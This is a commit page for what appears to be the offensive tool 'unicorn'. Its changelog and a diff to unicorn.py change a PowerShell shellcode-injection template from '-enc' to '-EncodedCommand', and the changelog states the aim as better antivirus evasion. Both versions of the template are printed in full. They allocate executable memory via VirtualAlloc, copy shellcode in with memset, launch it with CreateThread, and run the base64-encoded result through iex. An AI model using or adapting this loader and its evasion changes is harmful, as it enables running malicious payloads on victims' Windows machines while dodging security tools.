update unicorn

Crypt0-M3lon · Aug 2, 2016 · 240b78d · 240b78d
1 parent c44044f
commit 240b78d
Show file tree

Hide file tree

Showing 2 changed files with 7 additions and 1 deletion.
diff --git a/CHANGELOG.txt b/CHANGELOG.txt
@@ -1,3 +1,9 @@
+~~~~~~~~~~~~~~~~
+version 2.3.4
+~~~~~~~~~~~~~~~~
+
+* added decoded base64 -encodedcommand for better av evasion
+
 ~~~~~~~~~~~~~~~~
 version 2.3.3
 ~~~~~~~~~~~~~~~~

diff --git a/unicorn.py b/unicorn.py
@@ -360,7 +360,7 @@ def gen_shellcode_attack(payload, ipaddr, port):
 
     # one line shellcode injection with native x86 shellcode
     powershell_code = (
-        r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = %s;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-enc ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}""" % shellcode)
+        r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = %s;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-EncodedCommand ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}""" % shellcode)
 
     # run it through a lame var replace
     powershell_code = powershell_code.replace("$1", "$" + var1).replace("$c", "$" + var2).replace("$2", "$" + var3).replace("$3", "$" + var4).replace("$x", "$" + var5)